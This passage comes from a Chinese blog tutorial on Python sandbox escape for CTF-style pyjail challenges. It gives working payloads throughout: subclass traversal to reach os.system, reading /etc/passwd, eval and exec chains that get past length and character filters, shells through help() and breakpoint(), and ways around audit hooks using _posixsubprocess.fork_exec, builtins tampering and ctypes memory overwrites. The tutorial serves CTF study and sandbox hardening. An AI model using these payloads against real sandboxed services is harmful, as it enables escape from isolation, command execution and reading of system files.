- 使用该模块的
__import__函数导入os模块来执行命令; - 或者通过该模块的
eval函数直接执行 python 脚本。
1 | ''.__class__.__bases__[0].__subclasses__()[144] |
注意
这里通过 __init__.__globals__ 找到的并不是真正的 __builtins__ 模块,而是字典形式的 builtins 命名空间快照,也就是 __builtins__.__dict__。
1 | type(''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']) |
这就是为什么通过 __init__.__globals__ 找到的“__builtins__ 模块”可以直接通过字典的形式访问模块中的函数,而真正的 __builtins__ 模块需要通过 __dict__ 属性或者直接属性访问。
1 | ''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['eval'] |
不过两者本质上都是 builtins 模块,因为 Python 的模块是单例模式加载的,只有一个。
1 | import sys, builtins |
另外在沙箱内外 __builtins__ 的形态也不同:
模块顶层(你“外面”的普通脚本)
__builtins__是一个模块对象(builtins)。模块对象不能下标,只能点取属性:1
2
3type(__builtins__) is module # True
__builtins__.__loader__ # OK
__builtins__["__loader__"] # TypeError: module is not subscriptableexec(code, globals, locals)等“沙箱”执行(你“里面”的环境)
如果globals里没有 key'__builtins__',Python 会自动塞入builtins.__dict__(一个 dict):1
2
3exec("print(type(__builtins__))", {}) # <class 'dict'>
# 这是字典 → 可以下标访问:
__builtins__["__loader__"] # OK(等价于 builtins.__dict__['__loader__']
这就是为什么在沙箱里 __builtins__["__loader__"] 可用,而在普通脚本里同样写法会报 TypeError:前者是 dict,后者是模块。
os 模块
而 os._wrap_close 类本身位于系统模块中,因此可以直接通过该类所在模块的全局命名空间直接找到 system 函数执行命令。
1 | ''.__class__.__bases__[0].__subclasses__()[137] |
sys 模块
sys.modules 是 Python 运行时的一个 全局字典,用来缓存所有已经导入的模块对象。它是 Python import 机制的核心缓存,所有模块导入都会经过它。
sys.modules的作用是缓存已加载的模块。当你第一次import一个模块时,Python 会加载并执行该模块的代码,然后将模块对象保存到sys.modules中。以后再导入同名模块时,Python 会直接从sys.modules里取出已有的模块对象,而不会再次加载和执行模块代码。
sys.modules 是字典类型,其中:
- 键(key):模块名(字符串,比如
'os'、'sys') - 值(value):模块对象本身
因此如果我们能够从全局空间中找到 sys 模块也就找到了 modules 全局字典,进而找到所有的模块。这里还是以 warnings.catch_warnings 为例:
1 | ''.__class__.__bases__[0].__subclasses__()[144] |
常用 payload
命令执行
1 | # os |
文件读取
操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。
1 | [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd") |
绕过多行限制
绕过多行限制的利用手法通常在限制了单行代码的情况下使用。例如 eval,中间如果存在 ; 或者换行会报错。
1 | eval("__import__('os');print(1)") |
exec
exec 可以支持换行符与 ;
1 | eval("exec('__import__(\"os\")\\nprint(1)')") |
compile
compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.
1 | eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''') |
海象表达式
海象表达式(:=)是 Python 3.8 引入的一种新的语法特性,它能在一个表达式里先把右边算好的值赋给一个变量,同时这个表达式本身的值也就是那个值,也就是在逻辑运算中可以使用赋值操作。例如:
1 | while (chunk := f.read(1024)) != b'': |
因为海象表达式需要先把右边算好值,而列表需要从左到右依次处理,因此我们可以借助海象表达式和过列表来执行多行代码:
1 | eval('[a:=__import__("os"),b:=a.system("id")]') |
也就是说:
- 海象表达式保证语句会执行。
- 列表保证语句执行顺序。
绕过长度限制
BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制
1 | eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) |
这行代码的意思是:
- 用户输入一段字符串(比如
help())。 .lower()→ 转成小写(help()→help())。re.sub(r'[a-z0-9]', '', ...)→ 删除所有小写字母和数字(help()→())。- 结果字符串被
[:130]截断到 130 个字符以内。 eval()执行这个字符串。
替换函数名称
题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取
1 | print(open(bytes([102,108,97,103,46,116,120,116])).read()) |
函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).
1 | # f = 102 = 333-231 = ord('ō')-ord('ç') |
但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload
1 | exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())") |
但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符,例如 chr(4434)。
当然,可以直接使用 input 函数来绕过长度限制。
打开 input 输入
如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。
即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)
1 | 𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵()) |
这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。
1 | __import__('os').system('whoami') |
注意
no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。
Python 2 的 input() = Python 3 的 eval(input()),在 Py2 里 input() 自带执行功能,raw_input() 才是安全的读取字符串方法。
下面是一些其他的打开输入流的方式:
sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入
1 | eval(sys.stdin.read()) |
sys.stdin.readline()
1 | eval(sys.stdin.readline()) |
sys.stdin.readlines()
1 | eval(sys.stdin.readlines()[0]) |
breakpoint 函数
breakpoint 是从 Python 3.7 开始引入的一个内置函数。默认行为:调用 sys.breakpointhook() → 启动 pdb.set_trace(),也就是进入 Pdb(Python 调试器)。
在 Pdb 提示符 (Pdb) 里,你可以查看变量、执行表达式,甚至运行任意 Python 语句。在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码。
1 | >>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() |
help 函数
当我们输入 help 时,help 函数会打开帮助
1 | 𝘩𝘦𝘭𝘱() |
然后输入 os,此时会进入 os 的帮助文档。
1 | help> os |
然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash。
1 | help> os |
绕过 audit hook
绕过基于 sys.addaudithook 的 audit hook
Python中的审计钩子(Audit Hook)是从 Python 3.8 版本引入的一项安全功能,旨在让 Python 运行时的操作对外部监控工具可见。该功能允许开发者通过注册钩子函数来监控和控制特定的事件,尤其是与安全相关的操作。这种机制为系统管理员、测试人员和安全专家提供了一个有效的手段来检测、记录或阻止特定操作。
审计钩子通过 sys.addaudithook() 函数添加。每当发生特定事件时,Python会调用这些钩子函数,并将事件名称和相关参数传递给它们。钩子函数可以选择记录这些事件,或者在检测到不允许的操作时抛出异常,从而阻止操作继续进行。
Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。
Python 中的审计事件包括但不限于以下几类:
import:发生在导入模块时。open:发生在打开文件时。write:发生在写入文件时。exec:发生在执行Python代码时。compile:发生在编译Python代码时。socket:发生在创建或使用网络套接字时。os.system,os.popen等:发生在执行操作系统命令时。subprocess.Popen,subprocess.run等:发生在启动子进程时。
所有的事件列表可见:
我们可以通过注册打印日志的回调函数来测试我们的代码触发了哪些 hook。
1 | import sys |
__loader__.load_module
__loader__.load_module 底层实现与 import 不同,因此某些情况下可以绕过 audithook 。
__loader__ 是“每个模块自己的加载器”,哪个模块用什么加载器加载,就把那个加载器对象挂在这个模块的 __loader__ 上:
| 模块类型 | 典型 __loader__ |
|---|---|
内建/冻结模块(sys、time、部分 gc) |
BuiltinImporter / FrozenImporter(类 or 单例) |
纯 Python 模块(os、pathlib) |
SourceFileLoader(实例) |
C 扩展模块(math、_ssl) |
ExtensionFileLoader(实例) |
__main__(你的脚本) |
通常是 SourceFileLoader |
builtins 模块本身 |
BuiltinImporter |
__loader__ 的 load_module(name) 是老接口(PEP 302 时代,Py3.4 前),现在只在少数加载器(内建/冻结)还留了兼容层;多数现代加载器不再提供它。
在一些题目/环境里,审计钩子(audit hook)只拦“常规导入流程”的事件(比如 import / __import__ / importlib.import_module / find_spec / exec_module)。
而你直接调用某些 Loader 的旧接口 load_module(常见是 BuiltinImporter / FrozenImporter 的兼容层)并不一定会触发这些“导入类”审计事件,所以有机会绕过仅针对导入路径的过滤。
__builtins__ 的 __loader__ 通常是 **BuiltinImporter / FrozenImporter**。我们也可以通过别的方式进行获取:
1 | ().__class__.__base__.__subclasses__()[84] |
不过 BuiltinImporter 只会加载内建/冻结模块,例如 sys,gc 等,但是像 os 是标准库的纯 Python 模块,不在它的能力范围内。也就是说若 sys.modules 没缓存,则通过 __builtins__.__loader__.load_module 加载 os 模块会报错:
1 | __builtins__.__loader__.load_module("os") |
sys.builtin_module_names 中包含了所有 内建模块(built-in modules) 的名字。我们可以通过这个字段查询模块是否可以通过 __builtins__.__loader__.load_module 加载。
1 | __import__('sys').builtin_module_names |
_posixsubprocess 执行命令
_posixsubprocess 是 CPython 内部的一个 C 扩展模块,专门用来在类 Unix 系统(Linux / macOS)下 高效地创建子进程。它不是给普通用户直接用的,而是被 subprocess 模块的内部实现调用的。
该模块的核心函数 fork_exec 提供了在 Unix 系统下快速、低层地创建子进程并执行指定程序的能力。该模块并未在 Python 官方标准库文档中列出,属于实现细节,不同版本的 Python 中参数和行为可能有所差异。
例如 Python 3.11 中具体的函数声明如下:
1 | def fork_exec( |
命令与可执行体
__process_args: 传给子进程的 argv(通常与__executable_list一致)。可为None(由实现推断)。元素可为str/bytes/PathLike。__executable_list: 必须是bytes序列,对应execve(path, argv, env)的argv;第一个元素是可执行文件路径(如b"/bin/echo")。
FD 关闭/保留与 CWD/ENV
__close_fds:True时,在子进程里关闭除标准 FD(0/1/2)和必要保留 FD 外的全部 FD(从 3 起)。__fds_to_keep: 需要在子进程额外保留的 FD 的升序元组(通常与管道 FD 配合)。__cwd_obj: 子进程的工作目录(字符串路径)。可允许为None(表示不改变,视版本实现而定)。__env_list: 子进程环境,**bytes的KEY=VALUE序列**;传None表示继承父进程环境。
与父进程的管道(标准流)
约定命名:
p2c=parent→child,c2p=child→parent。每对管道通常传两端,让函数在父/子两侧都能正确关闭或重定向。__p2cread: 子进程读取端(将会 dup 到子进程stdin),否则传-1。__p2cwrite: 父进程写入端,否则-1。__c2pred: 父进程读取端(从子进程stdout读),否则-1。__c2pwrite: 子进程写入端(将会 dup 到子进程stdout),否则-1。__errread: 父进程读取端(来自子进程stderr),否则-1。__errwrite: 子进程写入端(将会 dup 到子进程stderr),否则-1。最常见:只捕获
stdout→ 设c2p_r/c2p_w;stdin/stderr不用时传-1。
错误汇报管道(子进程
exec前出错时使用)__errpipe_read,__errpipe_write: 必传一对有效 FD 来承接子进程在exec之前的错误(序列化后写入)。如果传-1,子进程出错将无法向父进程报告,父进程也无从得知失败原因(subprocess内部总是创建这一对)。
进程属性/会话/信号/身份
__restore_signals:1/0,是否在子进程里恢复默认信号处理(通常 1)。__call_setsid:1/0,是否调用setsid()让子进程成为新会话首进程(daemon/独立组常用)。__pgid_to_set: 若非零,在子进程里调用setpgid(0, __pgid_to_set)设置进程组 ID。__gid_object: 设定有效 GID(整数或实现__index__的对象),或None不改。__groups_list: 附加的组 ID 列表,或None。__uid_object: 设定有效 UID,或None。__child_umask: 设置子进程umask,通常0表示不改或按实现约定;实际含义依版本。__preexec_fn: 在子进程 关闭 FD 并 exec 前调用的回调。⚠ 多线程下不安全(可能死锁),能不用就不用。__allow_vfork: 允许底层选择vfork优化(实现相关,非所有平台可用)。
返回值
- 返回 子进程 PID。父进程随后请
os.waitpid(pid, 0)等待并回收
- 返回 子进程 PID。父进程随后请
下面是一个最小化示例:
1 | import os |
结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:
1 | __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False) |
可以看到全程触发了 builtins.input/result, compile, exec 三个 hook,这些 hook 的触发都是因为 input,compile,exec 函数而触发的,__loader__.load_module 和 _posixsubprocess 都没有触发。
1 | [+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',) |
_posixsubprocess 执行命令时本身没有回显,是可以将命令的结果存放在 __c2pwrite 参数中。
1 | import _posixsubprocess |
篡改内置函数
很多题里白名单是在钩子里临时构造的:
1 | def my_audit_hook(event, args): |
如果你能在下一次钩子执行前把“全局可见”的 set 换掉,那么 WHITED_EVENTS = set({...}) 这行就会调用你的替身,从而得到你想要的“白名单”(比如包含 'os.system')。
在很多 REPL/题目环境里,执行上下文的
__builtins__是一个 dict(builtins.__dict__的拷贝或代理),所以你可以:1
__builtins__['set'] = lambda x: ['builtins.input','builtins.input/result','exec','compile','os.system']
如果
__builtins__是 模块对象,就用:1
__builtins__.set = lambda x: [...]
注意
返回 list 也能让 if event not in WHITED_EVENTS 正常工作(in 可用于序列),不一定非得返回真正的 set。但如果钩子里接下来对白名单做集合操作(如 .add()、|),你就得返回 set([...]) 以免崩溃。
另外这里要区分将 WHITED_EVENTS 写成语法字面量的情况:
1 | WHITED_EVENTS = {'builtins.input','builtins.input/result','exec','compile'} |
set({...}) 是“调用名字为 set 的可调用对象”,而 {...} 是语法字面量,根本不会调用 set。所以当你把 __builtins__.set 修改成一个 lambda 时:
- 写成
WHITED_EVENTS = set({...}):
这一行会先做名称解析,把名字set按“局部 → 全局 → 内建(__builtins__)”的顺序去找。
由于你把__builtins__.set改成了 lambda,最终调用到的就是**你改过的set**,返回你指定的列表/集合,自然就“造白”成功。 - 写成
WHITED_EVENTS = {...}:
这是集合字面量,解释器用字节码BUILD_SET直接构造一个集合,完全不经过set()这个可调用对象。你修改set不起作用,因为根本没调用它。
1 | import sys |
内省机制查询模块
通过内省机制查询模块可以不走 import 路径也能拿到模块对象,从而绕开只拦 import 的 audit hook。这是因为解释器启动后,很多模块已经加载(比如 sys、os、_sitebuiltins 等),并且被各种对象引用着(函数的 __globals__、模块的属性、类方法闭包等)。只要你能找到任何一个对象,它的 __globals__ 里恰好包含你要的模块引用,就能直接取出来,完全不触发 import 事件。
1 | # 获取 sys |
然而由于 Python 加载的模块是单例模式,因此如果把 os 从 sys.modules 缓存里删掉了。
1 | del __import__('sys').modules['os'] |
而内省机制只是寻找已加载的模块,不会主动加载模块,因此会出现找不到模块的情况。
绕过基于 CPython 的 audit hook
audit hook 不仅可以在 python 层面进行定义,还可以在 CPython 中进行编写。
- C 级(进程级):用
PySys_AddAuditHook注册,挂在 _PyRuntimeState 里(全局运行时)。影响所有解释器。 - Python 级(解释器级):用
sys.addaudithook注册,挂在 PyInterpreterState 里(当前解释器)。只影响当前解释器。
事件触发顺序一般是:先 C 级 → 再 Python 级。
如果使用 CPython 来定义 audit hook,至少在 python 层面就没法覆盖函数。
项目 Nambers/python-audit_hook_head_finder: PWNable pyjail 给出了几种通过修改 python 内存来篡改该 audit hook 的方式。
利用 ctypes 覆盖 audit hook
audit hook 结构
_PyRuntimeState
_PyRuntimeState 结构体中存储了 audit hook 列表 audit_hooks。
1 | typedef struct pyruntimestate { |
_Py_AuditHookEntry 是一个 audit hook 链表。
1 | typedef struct _Py_AuditHookEntry { |
需要注意的是,python3.11 与 python3.12 不同,仅使用 audit_hook_head 指针进行存放。_Py_AuditHookEntry 没有变化:
1 | typedef struct pyruntimestate { |
_PyRuntimeState 中存储的 audit hook,对应的就是 CPython 中通过 PySys_AddAuditHook 添加的审计钩子。PySys_AddAuditHook 用于在 Python 运行时中添加全局审计钩子, 通过该函数添加的审计钩子会影响整个 Python 运行时中的所有解释器,无论是主解释器还是子解释器。
1 | static int audit(const char *event, PyObject *args, void *userData) { |
PyInterpreterState
PyInterpreterState 也同样存储了 audit hook:
1 | struct _is { |
但这个 audit_hooks 实际上是一个 PyObject 指针,对应的是 Python 层面的 audit hook,也就是通过 sys.addaudithook() 添加的审计钩子。通过该函数添加的审计钩子只会影响当前解释器(主解释器或某个子解释器),不会影响其他解释器。
获取 audit hook 函数地址
在 CPython 中,某些常用的不可变对象(如空元组、空字符串等)是单例对象,这些对象在解释器启动时就被创建并缓存起来,因此其内存地址是固定不变的。
下面是一个测试代码。
1 | print(hex(id(()))) |
可以看到空元组和空字符串的地址都没有变化。而空列表和空字典每次执行时地址会发生变化,但在同一个脚本中多次执行的结果都是不变的。
在相同版本的 Python 中,数据结构(如 PyInterpreterState 和 _PyRuntimeState)的大小和字段位置通常在编译时就确定了大小和布局。因此从某个对象(如空元组)的地址到审计钩子列表指针的位置通常是一个常数。
依据这个原理,项目 Nambers/python-audit_hook_head_finder: PWNable pyjail 通过在 C 层面打印出 _PyRuntimeState.audit_hooks.head 和 PyInterpreterState.audit_hooks 的地址,然后计算与空元组地址的偏移,得到了这个偏移常量。
获取
_PyRuntimeState.audit_hooks.head和PyInterpreterState.audit_hooks的地址1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// 宏:获取运行时(RuntimeState)的基地址
// 宏:获取当前解释器(InterpreterState)的指针
// 宏:获取当前解释器 audit_hooks 字段的地址(Python 级 hook 列表)
// 宏:获取运行时 audit_hooks 链表头指针的地址(C 级全局 hook 列表)
// Python 3.12+ 结构体不同(带 head 字段),<=3.11 是单指针 audit_hook_head
获取偏移值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# 构造一个 PyObject 的引用对象(byref 返回的是指针)
obj = ctypes.byref(ctypes.py_object(()))
ptr_tp = ctypes.POINTER(ctypes.c_uint64)
# 获取 obj 在内存中的地址
obj_addr = ctypes.cast(obj, ptr_tp).contents.value
# 验证另一种方式获取 obj_addr(直接取空 tuple 对象指针)
assert ctypes.POINTER(ctypes.c_voidp)(ctypes.py_object(())).contents.value == obj_addr
# 根据当前对象地址,计算 Python 级 audit_hooks 指针的偏移
audit_hook_ptr_offset_by_py = get_interp_audit_hook_ptr_addr() - obj_addr
# 根据当前对象地址,计算 C 级(runtime) audit_hooks 指针的偏移
audit_hook_ptr_offset_by_c = get_runtime_audit_hook_ptr_addr() - obj_addr
print(f"audit_hook_ptr_offset_by_py={hex(audit_hook_ptr_offset_by_py)}\n"
f"audit_hook_ptr_offset_by_c={hex(audit_hook_ptr_offset_by_c)}")
覆盖 audit hook
因而在针对该版本 Python 进行利用时,只需要通过空元组的地址,再加上这个偏移值,就能够找到 audit hook 的地址。利用部分如下:
1 | audit_hook_by_py: list = ctypes.cast(ctypes.cast(obj_addr + audit_hook_ptr_offset_by_py, ptr_tp).contents.value, ctypes.py_object).value |
- python 层面的 audit hook 可以通过
ctypes.cast将PyInterpreterState.audit_hooks地址处的.contents.value转换为一个 python 原生类型(py_object),最终得到一个list,利用pop函数将其弹出即可 - c 层面的 audit hook 虽然保存在
list里,然而实际上只通过ctypes.cast将其转换为了一个指针 64 位指针:<class '__main__.LP_c_ulong'>,指向了 hook 函数的地址。通过memset将地址清空置空则达到了清除 audit hook 的目的。
- Title: Python 沙箱逃逸
- Author: sky123
- Created at : 2025-08-12 00:01:08
- Updated at : 2025-08-19 01:12:40
- Link: https://skyi23.github.io/2025/08/12/Python 沙箱逃逸/
- License: This work is licensed under CC BY-NC-SA 4.0.